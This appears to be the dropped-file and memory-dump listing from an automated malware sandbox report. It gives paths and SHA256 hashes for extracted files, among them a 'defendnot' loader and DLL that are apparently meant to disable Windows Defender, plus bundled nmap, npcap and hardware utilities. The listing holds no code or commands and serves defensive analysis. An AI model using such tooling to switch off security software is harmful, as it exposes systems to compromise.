                                    • SHA256 eba89cc4d03a6d30ecb5ef14f4c00ac453d3c9e88d643494ead278d1a130361c
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    SenseAadAuthenticator.exe
                                    • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\SenseAadAuthenticator.exe
                                    • Size 96KB
                                    • SHA256 f9f686e5f90b8b2fe8711d6905b3351cc22e5c8dea0a9ac441a158ec88ff9cb0
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    The UltimateWindowsUtility.exe
                                    • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\The UltimateWindowsUtility.exe
                                    • Size 120KB
                                    • SHA256 d084f001cfbb555e834cf1466b5d66fc7eba24c5a23685c8d0597b5ddfe8d696
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    ctx.bin
                                    • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\ctx.bin
                                    • Size 131B
                                    • SHA256 8ddf2555e4d12e11f10ed348995573cd42bb3895af248d176f0c8c4db8491219
                                    • MD5 SHA1 SHA512
                                    Submit Download

                                    ctx.bin
                                    • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\ctx.bin
                                    • Size 131B
                                    • SHA256 5d7f018ddd2e052e2816d42ab6e1f204fd5103954102d574c6128b32fc8d56ef
                                    • MD5 SHA1 SHA512
                                    Submit Download

                                    defendnot-loader.exe
                                    • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\defendnot-loader.exe
                                    • Size 581KB
                                    • SHA256 4776620d4a617ce96d83a3a2ae0999a9dc6ee79bd9dcefe296cd877a62aa2224
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    defendnot.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\defendnot.dll
                                    • Size 427KB
                                    • SHA256 45e942ba59f3876b263a03ed7e5d5b1b250e84a0a4b4093b3c13b5fca4e12b21
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    cpu-z_2.20-en.exe
                                    • Path C:\Users\Admin\AppData\Local\Temp\WinGet\CPUID.CPU-Z.2.20\cpu-z_2.20-en.exe
                                    • Size 4.6MB
                                    • SHA256 fb1e0ce5c019bad7f1343103e514858e19fce05abcb18bc6bc870f243a3c2b24
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    nmap-7.80-setup.exe
                                    • Path C:\Users\Admin\AppData\Local\Temp\WinGet\Insecure.Nmap.7.80\nmap-7.80-setup.exe
                                    • Size 25.7MB
                                    • SHA256 3b4d726bd366e7439367fa78a186dfa9b641d3b2ad354fd915581b6567480f94
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    nmap-7.80-setup.exe:Zone.Identifier
                                    • Path C:\Users\Admin\AppData\Local\Temp\WinGet\Insecure.Nmap.7.80\nmap-7.80-setup.exe:Zone.Identifier
                                    • Size 26B
                                    • SHA256 620f6efb1fb55f99db6154016c09054a07a086fa6ad3a62b735d402733524396
                                    • MD5 SHA1 SHA512
                                    Submit Download

                                    GPU-Z.2.70.0.exe
                                    • Path C:\Users\Admin\AppData\Local\Temp\WinGet\TechPowerUp.GPU-Z.2.70.0\GPU-Z.2.70.0.exe
                                    • Size 11.1MB
                                    • SHA256 6cb0ef29682452de81a9576808881685161411a1fad00938ba04131159979c29
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    __PSScriptPolicyTest_omgbykmd.hyz.ps1
                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_omgbykmd.hyz.ps1
                                    • Size 60B
                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    e53e159d00e04f729cc2180cffd1c02e_License1.xml
                                    • Path C:\Users\Admin\AppData\Local\Temp\be5c6c11-5c41-48ba-a095-2780ef59820f\e53e159d00e04f729cc2180cffd1c02e_License1.xml
                                    • Size 2KB
                                    • SHA256 bcb15118ec47df24e3e6013a7006147c3a15b3a8104ed660fe87c8b4ed01f485
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    gpuz_installer.exe
                                    • Path C:\Users\Admin\AppData\Local\Temp\gpuz_installer.exe
                                    • Size 1.6MB
                                    • SHA256 62500028679e8185f79752006da88de9229c438bbd225b1dc1f2f04a47ebb115
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    gpuz_installer.tmp
                                    • Path C:\Users\Admin\AppData\Local\Temp\is-E421S.tmp\gpuz_installer.tmp
                                    • Size 3.1MB
                                    • SHA256 ff02cd92b07585423ef7bdd0a873374922767fe21f93fcebc24181a5ee2111fa
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    Insecure-EV.cer
                                    • Path C:\Users\Admin\AppData\Local\Temp\nsl8F17.tmp\Insecure-EV.cer
                                    • Size 1KB
                                    • SHA256 e491b2d4f93b4e917f203c29affcacaad95871b182fedb2628fbcedb82b56b96
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    Insecure-SHA1.cer
                                    • Path C:\Users\Admin\AppData\Local\Temp\nsl8F17.tmp\Insecure-SHA1.cer
                                    • Size 1KB
                                    • SHA256 3727cf6d0632d9f95670e60e0f78ae4b920713f1da669769c8d765e6bf5d374d
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    SimpleSC.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\nsl8F17.tmp\SimpleSC.dll
                                    • Size 61KB
                                    • SHA256 e0c580bbe48a483075c21277c6e0f23f3cbd6ce3eb2ccd3bf48cf68f05628f43
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    System.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\nsl8F17.tmp\System.dll
                                    • Size 10KB
                                    • SHA256 bb6df93369b498eaa638b0bcdc4bb89f45e9b02ca12d28bcedf4629ea7f5e0f1
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    nsExec.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\nsl8F17.tmp\nsExec.dll
                                    • Size 6KB
                                    • SHA256 3b15c6e4ca42036d7424f93ea0806a2d35220d65faaf2bd2479a54258f631b55
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    nmap_performance.reg
                                    • Path C:\Users\Admin\AppData\Local\Temp\nsv8207.tmp\nmap_performance.reg
                                    • Size 192B
                                    • SHA256 e77d7b5158ec99d19e552025facf50f477a2f2b1dc3ef2f198520cfa76e9707f
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    npcap-0.9982-oem.exe
                                    • Path C:\Users\Admin\AppData\Local\Temp\nsv8207.tmp\npcap-0.9982-oem.exe
                                    • Size 858KB
                                    • SHA256 fd14ebab7bd4d65c07826de92e2fc738dc58cfbec10aa6604777ba2e64da9a89
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    nxq2dvxv.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\nxq2dvxv\nxq2dvxv.dll
                                    • Size 10KB
                                    • SHA256 468052798bc8a12b659281abe8644273ad1cf56cc899d1a0386d9a09f97d1f31
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    Microsoft.WinGet.SharedLib.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\Microsoft.WinGet.SharedLib.dll
                                    • Size 26KB
                                    • SHA256 8b7157959209c34b0bb1d73f0d968a293341a46a36fa17cdecc12797e7036ffd
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    Octokit.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\Octokit.dll
                                    • Size 1.1MB
                                    • SHA256 de54446297c36f68375aa84b94d90d8bacb70f5ec7faf02bf1179043f02b8c0e
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    Microsoft.Management.Deployment.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\arm64\Microsoft.Management.Deployment.dll
                                    • Size 47KB
                                    • SHA256 9992d2897eaa29003179a14fa4d2879c7a919b3d9979f320e70592ac395587f7
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    Microsoft.Management.Deployment.winmd
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\arm64\Microsoft.Management.Deployment.winmd
                                    • Size 62KB
                                    • SHA256 49f2d63f9beb81f59e7aa0065b6b1c5bf838d14924efdf98d9bbe218f1762d97
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    WindowsPackageManager.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\arm64\WindowsPackageManager.dll
                                    • Size 8.2MB
                                    • SHA256 f6a4dfac34322e96169f728bb8deaafba3e4d2a6a44ed672d58ff28a3aa4447a
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    winrtact.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\arm64\winrtact.dll
                                    • Size 136KB
                                    • SHA256 a51f00223de1f8bb1abdc635529204a73a00782c577a57bded10de1c32cc409a
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    Microsoft.Management.Deployment.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\x64\Microsoft.Management.Deployment.dll
                                    • Size 52KB
                                    • SHA256 5fb2cd842ebf51c1c7eff5f9ded61d0da86f1d64fe938f6c02e1d9aafb597fa0
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    Microsoft.Management.Deployment.winmd
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\x64\Microsoft.Management.Deployment.winmd
                                    • Size 62KB
                                    • SHA256 31bfb20b8ea331494de5747efd6c9377d017ce13c0d4d1ae8cc77c915c2245a9
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    WindowsPackageManager.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\x64\WindowsPackageManager.dll
                                    • Size 7.2MB
                                    • SHA256 74434365d1e639069d709a4f55aeabeb1174a775bcc66162d010a615608e0d6a
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    winrtact.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\x64\winrtact.dll
                                    • Size 143KB
                                    • SHA256 f4a40cd96004b05ca8f22958b996d3041a4722aa02f241c95180bb8434e7bab9
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    Microsoft.Management.Deployment.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\x86\Microsoft.Management.Deployment.dll
                                    • Size 39KB
                                    • SHA256 552db70a60534cc7f4e2d0b64d30705417d1650475b48c5fb8cb335228c0b965
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    Microsoft.Management.Deployment.winmd
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\x86\Microsoft.Management.Deployment.winmd
                                    • Size 62KB
                                    • SHA256 285ad0b9d54c4d1444175a567daa5bb98223a01654d9644a2b3561e763853577
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    WindowsPackageManager.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\x86\WindowsPackageManager.dll
                                    • Size 6.6MB
                                    • SHA256 b3e1c6a3a1f8748cd7a72910bfbd22e980674fecd358a2fe0fb43a17cfdc75bf
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    winrtact.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\ofdchthr\net48\SharedDependencies\x86\winrtact.dll
                                    • Size 117KB
                                    • SHA256 3cdf314413855f842f1732a5964f08059deaa07992a1f088e7ca82734b0e9496
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    xk3soeqx.dll
                                    • Path C:\Users\Admin\AppData\Local\Temp\xk3soeqx\xk3soeqx.dll
                                    • Size 3KB
                                    • SHA256 70f24fb0c509794643e953bbe7460183c8836db83e0951e297c9e332212a41a6
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    dism.log
                                    • Path C:\Windows\Logs\DISM\dism.log
                                    • Size 292KB
                                    • SHA256 1388a35a4ebd737d463eb602173c627296e68a4a0213d660d866bc674ccb09ec
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    dism.log
                                    • Path C:\Windows\Logs\DISM\dism.log
                                    • Size 336KB
                                    • SHA256 1044a420995a379d2c87936fa476b9d6dc2e56a2addbedb5f609495188b214bc
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    npcap.inf_amd64_b7dc1d9c31bf0bbe.ini
                                    • Path C:\Windows\System32\DriverStore\FileRepository\npcap.inf_amd64_b7dc1d9c31bf0bbe.ini
                                    • Size 408B
                                    • SHA256 4810f44a338e2d2d3beeaa531b273d9bc2db2c4454b614f1f67a49231a3070f2
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    CSC66BD6F9B8BD94C488CAB2AA7BC56E42B.TMP
                                    • Path \??\c:\Users\Admin\AppData\Local\Temp\nxq2dvxv\CSC66BD6F9B8BD94C488CAB2AA7BC56E42B.TMP
                                    • Size 652B
                                    • SHA256 0ededfc265f05aebb6ff70191a79705cc59407eb5ad1f43a27ef34e1e38bdae4
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    nxq2dvxv.0.cs
                                    • Path \??\c:\Users\Admin\AppData\Local\Temp\nxq2dvxv\nxq2dvxv.0.cs
                                    • Size 10KB
                                    • SHA256 f447865e0c75b6c39becab9b9527fcc583def24c18a66cc815a9419f375ddc11
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    nxq2dvxv.cmdline
                                    • Path \??\c:\Users\Admin\AppData\Local\Temp\nxq2dvxv\nxq2dvxv.cmdline
                                    • Size 450B
                                    • SHA256 e4083dfa68d3c9d6927b910294a30a1cc320fd8d8156c631441baa1425f1e512
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    CSC30CB539A2CE64BA097A9BFF2447F7D6.TMP
                                    • Path \??\c:\Users\Admin\AppData\Local\Temp\xk3soeqx\CSC30CB539A2CE64BA097A9BFF2447F7D6.TMP
                                    • Size 652B
                                    • SHA256 138017d9a8490d665387216b2d5110ba0db804d6af015fa944f74d397a663b12
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    xk3soeqx.0.cs
                                    • Path \??\c:\Users\Admin\AppData\Local\Temp\xk3soeqx\xk3soeqx.0.cs
                                    • Size 60B
                                    • SHA256 eeddefabcd3d49166c7f07950603312373da269365db66464238d5b56d212afa
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    xk3soeqx.cmdline
                                    • Path \??\c:\Users\Admin\AppData\Local\Temp\xk3soeqx\xk3soeqx.cmdline
                                    • Size 369B
                                    • SHA256 20ac56ebe89e392e01a3fd686135b1fcbcb5b964cb4bd6c636233e934aea3959
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    memory/1464-598-0x0000000000400000-0x00000000004D8000-memory.dmp
                                    Download

                                    memory/1464-576-0x0000000000400000-0x00000000004D8000-memory.dmp
                                    Download

                                    memory/2360-2155-0x000001DCA0C40000-0x000001DCA0C48000-memory.dmp
                                    Download

                                    memory/2604-571-0x0000000000820000-0x0000000003BC7000-memory.dmp
                                    Download

                                    memory/2604-599-0x0000000000820000-0x0000000003BC7000-memory.dmp
                                    Download

                                    memory/3720-2217-0x0000000000400000-0x00000000004CB000-memory.dmp
                                    Download

                                    memory/3720-2184-0x0000000000400000-0x00000000004CB000-memory.dmp
                                    Download

                                    memory/3872-96-0x0000000140000000-0x0000000140047000-memory.dmp
                                    Download

                                    memory/3872-59-0x0000000140000000-0x0000000140047000-memory.dmp
                                    Download

                                    memory/3896-35-0x00000209E5410000-0x00000209E545A000-memory.dmp
                                    Download

                                    memory/3896-38-0x00000209E5480000-0x00000209E549C000-memory.dmp
                                    Download

                                    memory/3896-32-0x00000209E52C0000-0x00000209E52DE000-memory.dmp
                                    Download

                                    memory/3896-33-0x00000209E52E0000-0x00000209E5392000-memory.dmp
                                    Download

                                    memory/3896-24-0x00000209E5130000-0x00000209E51B2000-memory.dmp
                                    Download

                                    memory/3896-34-0x00000209E53B0000-0x00000209E53BA000-memory.dmp
                                    Download

                                    memory/3896-28-0x00000209E5230000-0x00000209E5252000-memory.dmp
                                    Download

                                    memory/3896-36-0x00000209E53E0000-0x00000209E53FE000-memory.dmp
                                    Download

                                    memory/3896-37-0x00000209E53C0000-0x00000209E53CA000-memory.dmp
                                    Download

                                    memory/3896-29-0x00000209E54C0000-0x00000209E55C2000-memory.dmp
                                    Download

                                    memory/3896-39-0x00000209E53D0000-0x00000209E53D8000-memory.dmp
                                    Download

                                    memory/3896-40-0x00000209E5400000-0x00000209E5406000-memory.dmp
                                    Download

                                    memory/3896-41-0x00000209E5460000-0x00000209E546A000-memory.dmp
                                    Download

                                    memory/3896-27-0x00000209E51F0000-0x00000209E5200000-memory.dmp
                                    Download

                                    memory/4168-49-0x0000000140000000-0x000000014003C000-memory.dmp
                                    Download

                                    memory/4168-20-0x0000000140000000-0x000000014003C000-memory.dmp
                                    Download

                                    memory/4284-1465-0x00000000022F0000-0x0000000002303000-memory.dmp
                                    Download

                                    memory/4284-1819-0x0000000002380000-0x0000000002393000-memory.dmp
                                    Download

                                    memory/4732-597-0x0000000000400000-0x000000000071C000-memory.dmp
                                    Download

                                    memory/5596-2216-0x0000000000400000-0x0000000000706000-memory.dmp
                                    Download

                                    memory/6044-384-0x0000023AE3680000-0x0000023AE3688000-memory.dmp
                                    Download

                                    memory/6044-74-0x0000023AE3340000-0x0000023AE3502000-memory.dmp
                                    Download

                                    memory/6044-431-0x0000023AECCF0000-0x0000023AECCF8000-memory.dmp
                                    Download

                                    memory/6044-145-0x0000023AE7D90000-0x0000023AE7D9A000-memory.dmp
                                    Download

                                    memory/6044-144-0x0000023AEE910000-0x0000023AEE950000-memory.dmp
                                    Download

                                    memory/6044-139-0x0000023AEE860000-0x0000023AEE8A4000-memory.dmp
                                    Download

                                    memory/6044-424-0x0000023AEC9D0000-0x0000023AEC9F8000-memory.dmp
                                    Download

                                    memory/6044-138-0x0000023AE7D60000-0x0000023AE7D8E000-memory.dmp
                                    Download

                                    memory/6044-417-0x0000023AEE780000-0x0000023AEE788000-memory.dmp
                                    Download

                                    memory/6044-102-0x0000023AE3290000-0x0000023AE32B0000-memory.dmp
                                    Download

                                    memory/6044-394-0x0000023AEE7E0000-0x0000023AEE7FE000-memory.dmp
                                    Download

                                    memory/6044-100-0x0000023AE3330000-0x0000023AE333E000-memory.dmp
                                    Download

                                    memory/6044-392-0x0000023AF0000000-0x0000023AF00B2000-memory.dmp
                                    Download

                                    memory/6044-99-0x0000023AE3560000-0x0000023AE359E000-memory.dmp
                                    Download

                                    memory/6044-98-0x0000023AE32D0000-0x0000023AE32D8000-memory.dmp
                                    Download

                                    memory/6044-1445-0x0000023AEC9C0000-0x0000023AEC9C8000-memory.dmp
                                    Download

                                    memory/6044-389-0x0000023AEFC20000-0x0000023AEFD48000-memory.dmp
                                    Download

                                    memory/6044-94-0x0000023AE32B0000-0x0000023AE32CE000-memory.dmp
                                    Download

                                    memory/6044-92-0x0000023AE2690000-0x0000023AE26A4000-memory.dmp
                                    Download

                                    memory/6044-388-0x0000023AEE8D0000-0x0000023AEE8F6000-memory.dmp
                                    Download

                                    memory/6044-91-0x0000023AE3200000-0x0000023AE3246000-memory.dmp
                                    Download

                                    memory/6044-90-0x0000023AE2680000-0x0000023AE268A000-memory.dmp
                                    Download

                                    memory/6044-89-0x0000023AE2670000-0x0000023AE267A000-memory.dmp
                                    Download

                                    memory/6044-88-0x0000023AE2420000-0x0000023AE2428000-memory.dmp
                                    Download

                                    memory/6044-75-0x0000023AE3A40000-0x0000023AE3F68000-memory.dmp
                                    Download

                                    memory/6044-146-0x0000023AE7DA0000-0x0000023AE7DAA000-memory.dmp
                                    Download

                                    memory/6044-73-0x0000023AE2C60000-0x0000023AE2D12000-memory.dmp
                                    Download

                                    memory/6044-70-0x0000023AE2600000-0x0000023AE2614000-memory.dmp
                                    Download

                                    memory/6044-387-0x0000023AE7DB0000-0x0000023AE7DB8000-memory.dmp
                                    Download

                                    memory/6044-385-0x0000023AE3690000-0x0000023AE3696000-memory.dmp
                                    Download

                                    memory/6044-386-0x0000023AE7D50000-0x0000023AE7D5A000-memory.dmp
                                    Download

                                    memory/6044-192-0x0000023AE3620000-0x0000023AE3632000-memory.dmp
                                    Download

                                    memory/6044-383-0x0000023AEE950000-0x0000023AEE97A000-memory.dmp
                                    Download

                                    memory/6044-382-0x0000023AEFDF0000-0x0000023AEFFF4000-memory.dmp
                                    Download

                                    memory/6044-380-0x0000023AE3600000-0x0000023AE360A000-memory.dmp
                                    Download

                                    memory/6044-379-0x0000023AEE760000-0x0000023AEE77A000-memory.dmp
                                    Download

                                    memory/6044-378-0x0000023AE35F0000-0x0000023AE35FA000-memory.dmp
                                    Download

                                    memory/6044-377-0x00007FFDADD90000-0x00007FFDADDA0000-memory.dmp
                                    Download

                                    memory/6044-375-0x0000023AEE790000-0x0000023AEE7BE000-memory.dmp
                                    Download

                                    memory/6044-374-0x0000023AE35C0000-0x0000023AE35CE000-memory.dmp
                                    Download

                                    memory/6044-143-0x0000023AEE830000-0x0000023AEE846000-memory.dmp
                                    Download

                                    memory/6044-142-0x0000023AEE8B0000-0x0000023AEE8C4000-memory.dmp
                                    Download

                                    memory/6044-141-0x0000023AEE810000-0x0000023AEE828000-memory.dmp
                                    Download

                                    memory/6044-140-0x0000023AE7D40000-0x0000023AE7D4A000-memory.dmp
                                    Download

                                    memory/6044-159-0x0000023AE35E0000-0x0000023AE35E8000-memory.dmp
                                    Download

                                    memory/6044-160-0x0000023AE3610000-0x0000023AE3618000-memory.dmp
                                    Download

                                    memory/6044-181-0x0000023AE3650000-0x0000023AE367C000-memory.dmp
                                    Download

                                    memory/6044-182-0x0000023AEFA70000-0x0000023AEFAE6000-memory.dmp
                                    Download

                                    memory/6044-183-0x0000023AEE720000-0x0000023AEE760000-memory.dmp
                                    Download

                                    memory/6044-191-0x0000023AE35A0000-0x0000023AE35AA000-memory.dmp
                                    Download